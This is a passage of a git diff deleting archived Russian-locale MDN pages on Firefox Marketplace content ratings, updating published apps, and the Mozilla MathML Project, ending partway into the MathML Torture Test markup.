-<p>Using a single rating wizard, content ratings are generated for multiple rating systems, countries and regions.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Rating System</th>
- <th scope="col">Countries Supported</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><a href="http://culturadigital.br/classind/">Classificação Indicativa </a></td>
- <td>Brazil</td>
- </tr>
- <tr>
- <td><a href="http://www.esrb.org/">ESRB</a></td>
- <td>Canada, Mexico, United States</td>
- </tr>
- <tr>
- <td><a href="http://www.pegi.info">PEGI</a></td>
- <td>Austria, Denmark, Hungary, Latvia, Norway, Slovenia, Belgium, Estonia, Iceland, Lithuania, Poland, Spain, Bulgaria, Finland, Ireland, Luxembourg, Portugal, Sweden, Cyprus, France, Israel, Malta, Romania, Switzerland, Czech Republic, Greece, Italy, Netherlands, Slovak Republic, United Kingdom</td>
- </tr>
- <tr>
- <td><a href="http://usk.de/">USK</a></td>
- <td>Germany</td>
- </tr>
- <tr>
- <td><a href="https://www.globalratings.com/ratings_guide.aspx">Generic</a></td>
- <td>Used for all other countries</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="What’s_in_a_Content_Rating">What’s in a Content Rating?</h2>
-
-<p>The rating system provides users with three types of information:</p>
-
-<ul>
- <li>The recommended minimum age — this may vary by country and culture.</li>
- <li>Content descriptors — this provides information about any content the app contains that may be of concern to some users.  This may include information on violence, references to alcohol or drug use, scary elements,  real or simulated gambling, etc.</li>
- <li>Interactive Elements — this provides details of any user interaction features the app contains, such as sharing personal information, sharing their location, In-App Purchases, downloadable content or social networking facilities.</li>
-</ul>
-
-<p>The rating process is free to developers, takes only a few minutes, and is integrated with the Firefox Marketplace submission process and developer dashboard.  Before an app can be reviewed, it must have a rating. Users see the rating of an app appropriate for their region on the app details page, and may find out more information should they choose to know more.</p>
-
-<h2 id="Obtaining_a_Content_Rating_for_Your_App">Obtaining a Content Rating for Your App</h2>
-
-<p>IARC has provided a free game-rating tool that is simple and for most apps, takes less than five minutes. In this section we'll review the process.</p>
-
-<div class="note">
-<p><strong>Note</strong>: We unfortunately cannot accept rating certificates from other systems; if your app already has a rating from another system you'll still need to go through the IARC certificate process.</p>
-</div>
-
-<ol>
- <li>Log into the Firefox Marketplace developer site; the rating tool may only be accessed when you are logged in as a developer.</li>
- <li>
- <p>Access the IARC Rating tool during the submission process:</p>
-
- <p><img alt="Demonstrates where in the app submission flow where ratings can be entered." src="https://mdn.mozillademos.org/files/6579/submission_flow.png" style="border-style: solid; border-width: 1px; height: 239px; width: 200px;"></p>
-
- <p>or from the Dev Dashboard:</p>
-
- <p><img alt="" src="https://mdn.mozillademos.org/files/6623/from_nav_bar.png" style="border-style: solid; border-width: 1px; height: 199px; width: 200px;"></p>
- </li>
- <li>
- <p>Start the rating process:</p>
-
- <p><img alt="" src="https://mdn.mozillademos.org/files/6583/start_the_rating_process.png" style="border-style: solid; border-width: 1px; height: 242px; width: 600px;"></p>
-
- <p>or enter your information for an existing rating:</p>
-
- <p><img alt="" src="https://mdn.mozillademos.org/files/6585/enter_existing_rating_info.png" style="border-style: solid; border-width: 1px; height: 276px; width: 600px;"></p>
- </li>
- <li>
- <p>Fill out the short questionnaire:</p>
-
- <p><img alt="" src="https://mdn.mozillademos.org/files/6587/questions.png" style="border-style: solid; border-width: 1px; height: 725px; width: 600px;"></p>
- </li>
- <li>
- <p>Add additional information about your app:</p>
-
- <p><img alt="" src="https://mdn.mozillademos.org/files/6589/additional_info.png" style="height: 637px; width: 589px;"></p>
- </li>
- <li>
- <p>Preview and confirm your rating information:</p>
-
- <p><img alt="" src="https://mdn.mozillademos.org/files/6591/confirm_info.png" style="border-style: solid; border-width: 1px; height: 865px; width: 400px;"></p>
- </li>
- <li>
- <p>Return to the developer dashboard and you should see your rating information. You are ready to go!</p>
- </li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: You will receive an email with your rating certificate and security code.  Please keep a copy for your records.</p>
-</div>
-
-<h2 id="More_information">More information</h2>
-
-<p>If you have questions about the rating process, how to answer the questionnaire, or if you think your rating is incorrect, please email the IARC team at <a href="mailto:dev-questions@globalratings.com">dev-questions@globalratings.com</a>.  Additional information is also available on the <a href="http://globalratings.com/">global ratings website</a>.</p>
-
-<p>If you have any other questions, you can get in touch with Mozilla's app review team at <a href="https://groups.google.com/forum/#!forum/mozilla.appreview" title="appreview@lists.mozilla.org">mozilla.appreview</a>.</p>
diff --git a/files/ru/mozilla/marketplace/publishing/updating_apps/index.html b/files/ru/mozilla/marketplace/publishing/updating_apps/index.html
deleted file mode 100644
index 5c2b477ba6..0000000000
--- a/files/ru/mozilla/marketplace/publishing/updating_apps/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Обновление приложений
-slug: Mozilla/Marketplace/Publishing/Updating_apps
-translation_of: Archive/Mozilla/Marketplace/Publishing/Updating_apps
----
-<div class="summary">
- <p><span class="seoSummary">This article explains the process by which you update published apps, either self-published or published on the <a href="https://marketplace.firefox.com/">Firefox Marketplace</a>.</span></p>
-</div>
-<div class="note">
- <p>Once an app has been installed by a user it's not possible to change the app name through an update. New installations will, however, pick up the new app name. This is a security measure to guard against unscrupulous name changes.</p>
-</div>
-<h2 id="Updating_Hosted_Apps"><strong>Updating Hosted Apps</strong></h2>
-<p><a href="/en-US/Marketplace/Options/Hosted_apps">Hosted Apps</a> respect the normal rules for Web caching, and may use advanced mechanisms for improved start-up or to enable offline use, such as <a href="/en-US/docs/HTML/Using_the_application_cache">AppCache</a>. Given this, there are normally no special considerations for updating these apps — you simply update the app on your site.</p>
-<p>However, some changes to your apps may involve updates to the <a href="/en-US/Apps/Build/Manifest">manifest</a>.</p>
-<h3 id="Changing_a_manifest’s_content"><strong>Changing a manifest’s content</strong></h3>
-<p>To update features of a published app — such as the app name, developer name, locales, icons or app name — you simply apply these changes to the manifest you host. If you've submitted the app to Firefox Marketplace and any of these changes are considered significant the app is flagged for <a href="#Re_review_of_updated_apps">review</a>.</p>
-<p>The Web runtimes and Firefox OS should automatically detect these changes and trigger an update on the user’s device. However, you can manually trigger updates by providing a version field in the app manifest. Your app can then check the version by inspecting the return value of {{ domxref("Apps.getInstalled") }}. If the user's installed version is not up-to-date, your app can trigger an update using {{ domxref("Apps.install") }}. Note that some changes to a manifest, and hence the installation, may require user approval before the update is actioned.</p>
-<p>The value of version isn't used by Firefox OS or the Web runtimes, so you can use whatever version scheme you want.</p>
-<h3 id="Changing_a_manifest's_location"><strong>Changing a manifest's location</strong></h3>
-<p>You may wish to change the location of your app’s manifest file. Typically you'll do this to move the app to a new domain or to a sub-domain to enable you to deliver multiple hosted apps.</p>
-<p>If you wish to do this for apps submitted to Firefox Marketplace, return to the app submission and on the Edit Details page change the Manifest URL value. What happens next will depend on the status of your app:</p>
-<ul>
- <li>for a published (or approved but not published) app, the app is flagged for <a href="#Re_review_of_updated_apps">review</a> and you’ll be contacted if (and only if) any subsequent problems are discovered.</li>
- <li>for unapproved apps, the review will proceed as normal.</li>
-</ul>
-<h3 id="Reviews_of_updated_apps"><a name="Re_review_of_updated_apps">Reviews of updated apps</a></h3>
-<p>When a Hosted App is flagged for review as the result of an update, the following happens:</p>
-<ul>
- <li>The app’s status doesn’t change, a published app remains published.</li>
- <li>The app is added to the review queue and when it pops from the queue (anything from a few hours to a few days later) a reviewer will examine the changes and:
- <ul>
- <li>clear the flag.</li>
- <li>if the app is completely broken, reject it and contact you. This will remove the app from Firefox Marketplace, if it has been published.</li>
- <li>contact you for further information.</li>
- </ul>
- </li>
-</ul>
-<div class="warning">
- <p>Where possible you should avoid changing the location of the app/manifest after your app has been published in the Firefox Marketplace. This is because of the impact on the user. A change in the manifest location will result in a new installed instance of the app when {{ domxref("Apps.install") }} is invoked. Many users will find this confusing.</p>
-</div>
-<h2 id="Обновление_упакованных_приложений"><strong>Обновление упакованных приложений</strong></h2>
-<p><a href="/ru/docs/Mozilla/Marketplace/Options/Packaged_apps">Упакованные приложения</a> have a different update process to Hosted Apps. To update a Packaged App, you upload a new version of the app's zip file to the Firefox Marketplace. The updated app is then reviewed and, when approved, published to the Marketplace. This triggers an update to any installed versions. Firefox OS device users can also request an update using the Settings app.  To upload a new version of your application, sign in to marketplace with the same account as the original submission by clicking on the gear icon in the top right and clicking "My Submissions."  Under the header "Manage My Submissions" and the app in question, click "Status &amp; Versions."  From there, scroll down and click on "Select a File" under "Upload New Version."  From there, you can choose not have an app automatically published upon review if you wish by unchecking the box that reads "Publish my app in the Firefox Marketplace as soon as it's reviewed."  Users' devices will check daily for app updates, and will see a notification that an update for their app is available for download at their discretion.</p>
-<p><img alt="Would you like to publish to marketplace upon review?" src="https://mdn.mozillademos.org/files/8523/publish_checkbox.png" style="width: 1000px; height: 232px;"></p>
-<ul>
- <li>When the updated packaged app is published, the <a href="/en-US/docs/Web/Apps/Packaged_apps#Packaged_apps_and_the_Firefox_OS_Marketplace">mini-manifest</a> is updated to point to the updated zip file (the mini-manifest is not the main app manifest). The <code>ETag</code> header is changed, and this triggers an update on the Firefox OS phone.</li>
- <li>Firefox OS on the phone polls once per day for changes to an app. To do this, it polls the URL of the mini-manifest, then polls the URL in the <code>package_path</code> field in the mini-manifest. This is done using the <code>checkForUpdate()</code> method on the <a href="/en-US/docs/Web/API/App"><code>App</code> object</a>. When the <code>ETag</code> header changes, it knows the app has been updated. Then it checks if the zip file has changed.</li>
- <li>Firefox OS checks in a batch for app updates.</li>
-</ul>
diff --git a/files/ru/mozilla/marketplace/submission/index.html b/files/ru/mozilla/marketplace/submission/index.html
deleted file mode 100644
index 1c01f1e00d..0000000000
--- a/files/ru/mozilla/marketplace/submission/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: Submission
-slug: Mozilla/Marketplace/Submission
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Mozilla/Marketplace/Submission
----
-<p>Marketplace submission</p>
diff --git a/files/ru/mozilla/mathml_project/index.html b/files/ru/mozilla/mathml_project/index.html
deleted file mode 100644
index 7ebc07b2e9..0000000000
--- a/files/ru/mozilla/mathml_project/index.html
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: Проект MathML сообщества Mozilla
-slug: Mozilla/MathML_Project
-tags:
- - MathML
- - MathML Project
- - Mozilla
-translation_of: Mozilla/MathML_Project
----
-<p>Проект MathML сообщества Mozilla представляет собой проект Mozilla по созданию и расширению поддержки <a href="/en-US/docs/Web/MathML" title="/ru/docs/Web/MathML">MathML</a> в Firefox и других приложениях на базе Mozilla. Смотрите краткий обзор <a href="http://fred-wang.github.io/MozSummitMathML/index.html">слайдов для инновационных ярмарок на саммите Mozilla 2013</a>.</p>
-
-<h2 id="Обновления">Обновления</h2>
-
-<p><img alt="Mathzilla" class="default internal" src="https://mdn.mozillademos.org/files/6281/mathzilla.svg" style="float: right; height: 150px; width: 150px;"></p>
-
-<ul>
- <li><a href="/ru/docs/Mozilla/MathML_Project/Status" title="Mozilla MathML Project/Status">Статусы элементов и атрибутов</a></li>
- <li><a href="/ru/docs/Mozilla/MathML_Project/MathML3Testsuite" title="Mozilla MathML Project/MathML3Testsuite">Результаты тестирования MathML 3</a></li>
- <li><a class="external" href="https://www.wg9s.com/mozilla/firefox/">Неофициальные сборки с применением патчей MathML</a> поддерживается Биллом Гианополисом (Bill Gianopoulos)</li>
- <li><a href="/ru/docs/Mozilla/MathML_Project/Updates" title="Mozilla_MathML_Project/Updates">Больше обновлений и архивов контента</a></li>
-</ul>
-
-<h2 id="Сообщество">Сообщество</h2>
-
-<ul>
- <li>Просмотр форумов Mozilla... {{DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml")}}</li>
- <li><a class="link-irc" href="irc://irc.mozilla.org/%23mathml" rel="external" title="irc://irc.mozilla.org/%23mathml">Канал IRC</a></li>
- <li><a class="link-https" href="https://wiki.mozilla.org/MathML:Home_Page">Wiki, использованное разработчиками</a> - ознакомьтесь с последними разработками и помогите нам улучшить MathML в Mozilla.</li>
-</ul>
-
-<h2 id="Ссылки">Ссылки</h2>
-
-<ul>
- <li>Установка <a href="/ru/docs/Mozilla/MathML_Project/Fonts" title="Mozilla MathML Project/Fonts">шрифтов для движка MathML от Mozilla</a></li>
- <li><a class="external" href="http://www.w3.org/TR/MathML3/">MathML Version 3.0</a> - Рекомендации W3C, 21 Октября 2010</li>
- <li><a class="external" href="http://www.w3.org/Math/testsuite/">Тестирование<abbr>W3C</abbr> <abbr>MathML</abbr></a> - Предназначено для проверки реализации каждого элемента по одному атрибуту (или встроенному поведению рендеринга) за один раз довольно тщательным образом.</li>
- <li><a href="/ru/docs/Web/MathML" title="MathML">MathML в сети разработчиков Mozilla</a></li>
- <li><a href="/ru/docs/Mozilla/MathML_Project/a11y">Доступность MathML в Mozilla</a></li>
-</ul>
-
-<h3 id="Примеры_документов_MathML">Примеры документов <abbr>MathML</abbr></h3>
-
-<ul>
- <li><a href="/ru/docs/Mozilla/MathML_Project/Screenshots" title="Mozilla MathML Project/Screenshots">Скриншоты</a></li>
- <li><a href="/ru/docs/Mozilla/MathML_Project/Start" title="Mozilla_MathML_Project/Start">Стартовая страница <abbr>MathML</abbr></a> - с переводами на разные языки ( <a href="/ar/docs/Mozilla_MathML_Project/Start" title="/ar/Mozilla_MathML_Project/Start">Арабский</a>, <a href="/zh-CN/docs/Mozilla_MathML_Project/Start" title="/zh-CN/Mozilla_MathML_Project/Start">Китайский</a>, <a href="/he/docs/Mozilla_MathML_Project/Start" title="/he/Mozilla_MathML_Project/Start">Иврит</a>, <a href="/th/docs/Mozilla_MathML_Project/Start" title="/th/Mozilla_MathML_Project/Start">Тайский</a>)</li>
- <li><a class="external" href="/ru/docs/Mozilla/MathML_Project/Basics">Основы MathML</a> - документ, предназначенный для правильного отображения с использованием только шрифта Symbol, который предустановлен по умолчанию в большинстве конфигураций ОС.</li>
- <li><a class="external" href="/ru/docs/Mozilla/MathML_Project/MathML_Torture_Test"><abbr>MathML</abbr> Torture Test</a> - сравнительное тестирование рендеринга MathML и TeX.</li>
- <li>Демо некоторых тегов MathML: <a class="external" href="/ru/docs/Mozilla/MathML_Project/mfrac">mfrac</a>, <a class="external" href="/ru/docs/Mozilla/MathML_Project/mo">mo</a>, <a class="external" href="/ru/docs/Mozilla/MathML_Project/mtable">mtable</a>, <a class="external" href="/ru/docs/Mozilla/MathML_Project/mspace">mspace</a>, <a class="external" href="/ru/docs/Mozilla/MathML_Project/mmultiscripts">mmultiscripts</a>, <a class="external" href="/ru/docs/Mozilla/MathML_Project/roots">msqrt-mroot</a>.</li>
- <li><a class="external" href="/ru/docs/Mozilla/MathML_Project/Extras">MathML Extras</a> - технологическая демонстрация некоторых интересных результатов, использующих браузерное окружение.</li>
- <li><a href="/ru/docs/Mozilla/MathML_Project/Various" title="Mozilla_MathML_Project/Various">Разнообразные тесты MathML</a> - эти страницы были импорированы из <code>layout/mathml/tests/</code>.</li>
- <li><a class="external" href="http://golem.ph.utexas.edu/~distler/blog/archives/000104.html">Блог</a> с комментариями, которые включают MathML.</li>
-</ul>
-
-<h3 id="Создание_документов_MathML">Создание документов <abbr>MathML</abbr></h3>
-
-<ul>
- <li><a href="/ru/docs/Web/MathML/Authoring" title="Mozilla MathML Project/Authoring">Средство разработки MathML</a></li>
- <li><a class="external" href="http://www.w3.org/Math/Software/mathml_software_cat_editors.html">Редакторы</a></li>
- <li><a class="external" href="http://www.w3.org/Math/Software/mathml_software_cat_converters.html">Конвертеры</a></li>
- <li><a class="external" href="http://www.w3.org/Math/Software/mathml_software_cat_stylesheets.html">Стили</a></li>
-</ul>
-
-<div class="originaldocinfo">
-<h2 id="Original_Document_Information" name="Original_Document_Information">Информация об исходном документе</h2>
-
-<ul>
- <li>Автор(ы): Roger B. Sidje</li>
- <li>Другие участники: Frédéric Wang</li>
- <li>Дата последнего обновления: April 4, 2010</li>
- <li>Информация об авторских правах (Copyright): Авторские права на данный контент (© 1999-2010) принадлежат отдельным участникам проекта mozilla.org; Контент доступен в соответствии с лицензией Creative Commons | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
-</ul>
-</div>
-
-<p> </p>
diff --git a/files/ru/mozilla/mathml_project/mathml_torture_test/index.html b/files/ru/mozilla/mathml_project/mathml_torture_test/index.html
deleted file mode 100644
index 9b1989d392..0000000000
--- a/files/ru/mozilla/mathml_project/mathml_torture_test/index.html
+++ /dev/null
@@ -1,4174 +0,0 @@
----
-title: Сравнительный тест MathML
-slug: Mozilla/MathML_Project/MathML_Torture_Test
-tags:
- - Intermediate
- - MathML
-translation_of: Mozilla/MathML_Project/MathML_Torture_Test
----
-<h2 id="Сравнительный_тест_MathML">Сравнительный тест MathML</h2>
-
-<div class="hidden">
-<h3 id="Контент_HTML">Контент HTML</h3>
-
-<pre class="brush: html">&lt;p&gt;
- Render mathematics with:
- &lt;select name="MathFont" id="MathFont"&gt;
- &lt;option value="Default" selected="selected"&gt;Default fonts&lt;/option&gt;
- &lt;option value="Asana"&gt;Asana&lt;/option&gt;
- &lt;option value="Cambria"&gt;Cambria&lt;/option&gt;
- &lt;option value="DejaVu"&gt;DejaVu&lt;/option&gt;
- &lt;option value="LatinModern"&gt;Latin Modern&lt;/option&gt;
- &lt;option value="Libertinus"&gt;Libertinus&lt;/option&gt;
- &lt;option value="LucidaBright"&gt;Lucida Bright&lt;/option&gt;
- &lt;option value="Minion"&gt;Minion&lt;/option&gt;
- &lt;option value="STIXTwo"&gt;STIX Two&lt;/option&gt;
- &lt;option value="TeXGyreBonum"&gt;TeX Gyre Bonum&lt;/option&gt;
- &lt;option value="TeXGyrePagella"&gt;TeX Gyre Pagella&lt;/option&gt;
- &lt;option value="TeXGyreSchola"&gt;TeX Gyre Schola&lt;/option&gt;
- &lt;option value="TeXGyreTermes"&gt;TeX Gyre Termes&lt;/option&gt;
- &lt;option value="XITS"&gt;XITS&lt;/option&gt;
- &lt;/select&gt;
- &lt;br/&gt;
-&lt;/p&gt;
-&lt;table&gt;
- &lt;tr&gt;
- &lt;td&gt;&lt;/td&gt;
- &lt;th scope="col"&gt;As rendered by TeX&lt;/th&gt;
- &lt;th scope="col"&gt;As rendered by your browser&lt;/th&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;1&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4578/=ex1.png" width="38" height="22"
- alt="TeXbook, 16.2-16.3" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;2&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4579/=ex2.png" width="30" height="17" alt="TeXbook, 16.2-16.3" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;!--
- &lt;mrow&gt;
- &lt;msub&gt;&lt;mi&gt;&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;
- &lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;
- &lt;/mrow&gt;
- --&gt;
- &lt;mrow&gt;
- &lt;mmultiscripts&gt;
- &lt;mi&gt;F&lt;/mi&gt;
- &lt;mn&gt;3&lt;/mn&gt;&lt;none/&gt;
- &lt;mprescripts/&gt;
- &lt;mn&gt;2&lt;/mn&gt;&lt;none/&gt;
- &lt;/mmultiscripts&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;3&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4586/=ex21.png" width="58" height="47" alt="TeXbook, 17-17.1" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mfrac&gt;
- &lt;mrow&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;4&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4587/=ex22.png" width="76" height="25" alt="TeXbook, 17-17.1" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;5&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4588/=ex23.png" width="30" height="42" alt="TeXbook, 17-17.1" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mfrac&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;6&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4589/=ex24.png" width="220" height="138" alt="TeXbook, 17.5-17.6" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;4&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;7&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4590/=ex25.png" width="200" height="85" alt="TeXbook, 17.5-17.6" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;0&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;4&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;8&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4591/=ex26.png" width="54" height="50" alt="TeXbook, 17.5-17.6" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;9&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4592/=ex27.png" width="237" height="50" alt="TeXbook, 17.7" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msup&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;10&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4593/=ex29.png" width="116" height="63" alt="TeXbook, 17.7-17.8" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;munder&gt;
